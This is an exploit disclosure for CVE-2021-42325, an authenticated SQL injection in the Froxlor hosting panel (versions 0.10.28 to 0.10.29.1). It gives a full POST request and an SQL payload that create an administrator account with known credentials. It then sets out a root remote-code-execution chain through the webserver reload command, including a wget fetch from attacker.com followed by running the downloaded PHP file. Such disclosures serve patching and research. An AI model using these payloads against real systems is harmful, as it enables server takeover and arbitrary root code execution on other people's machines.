# Exploit Title: Froxlor 0.10.29.1 - SQL Injection (Authenticated) # Exploit Author: Martin Cernac # Date: 2021-11-05 # Vendor: Froxlor (https://froxlor.org/) # Software Link: https://froxlor.org/download.php # Affected Version: 0.10.28, 0.10.29, 0.10.29.1 # Patched Version: 0.10.30 # Category: Web Application # Tested on: Ubuntu # CVE: 2021-42325 # 1. Technical Description: # # Froxlor 0.10.28 and 0.10.29.x are affected by an SQL Injection from the authenticated customer panel. This allows an attacker to escalate privilege by creating a Froxlor administrator account and use it to get Remote Code Execution as root on the target machine. # # 1.1 Pre-requisites # - Access to a customer account # - Ability to specify database name when creating a database # - Feature only availible from 0.10.28 onward and must be manually enabled # 2. Proof Of Concept (PoC): # # The following is a walkthrough of privilege escalation from a mere customer to an admin and achieving RCE as root # # 2.1 Privilege Escalation # # - Sign into Froxlor as a customer # - View your databases # - Create a database # - Put your payload into the "User/Database name" field (if enabled) # - Application will error out however your SQL query will be executed # # The following is a POST request example of running the payload provided, resulting in an administrator account being created --- POST /froxlor/customer_mysql.php?s=fdbdf63173d0b332ce13a148476499b2 HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 448 s=fdbdf63173d0b332ce13a148476499b2&page=mysqls&action=add&send=send&custom_suffix=%60%3Binsert+into+panel_admins+%28loginname%2Cpassword%2Ccustomers_see_all%2Cdomains_see_all%2Ccaneditphpsettings%2Cchange_serversettings%29+values+%28%27x%27%2C%27%245%24ccd0bcdd9ab970b1%24Hx%2Fa0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8%27%2C1%2C1%2C1%2C1%29%3B--&description=x&mysql_password=asdasdasdasdasdasdwire&mysql_password_suggestion=oyxtjaihgb&sendinfomail=0 --- # # 2.2 Remote Code Execution # # To achieve RCE as root: # # - Sign into Froxlor as the newly created admin account (payload example creds are x:a) # - Go to System Settings # - Go to Webserver settings # - Adjust "Webserver reload command" field to a custom command # - The command must not contain any of the following special characters: ;|&><`$~? # - For details, see "safe_exec" function in lib/Froxlor/FileDir.php # - For example commands see Payloads 4.2 section # - Trigger configuration file rebuild # - Use menu item "Rebuild config files" # - Await a root cron job to execute your command # 3. Vulnerable resources and parameters # /customer_mysql.php (POST field: custom_suffix) # 4. Payloads # # 4.1 SQL Injection payload # The following payload creates a new Froxlor admin with full access to all customers and the server configuration # The credentials are: # - username: x # - password: a # # `;insert into panel_admins (loginname,password,customers_see_all,domains_see_all,caneditphpsettings,change_serversettings) values ('x','$5$ccd0bcdd9ab970b1$Hx/a0W8QHwTisNoa1lYCY4s3goJeh.YCQ3hWqH1ZUr8',1,1,1,1);-- # # # 4.2 Remote Code Execution payload # Two part payload: # - wget http://attacker.com/malicious.txt -O /runme.php # - php /runme.php # 5. Timeline # 2021-10-11 Discovery # 2021-10-11 Contact with developer # 2021-10-11 Patch issued but no release rolled out # 2021-10-12 Reserved CVE-2021-42325 # 2021-11-05 Fix release rolled out # 2021-11-07 Public disclosure # 6. References: # https://github.com/Froxlor/Froxlor/releases/tag/0.10.30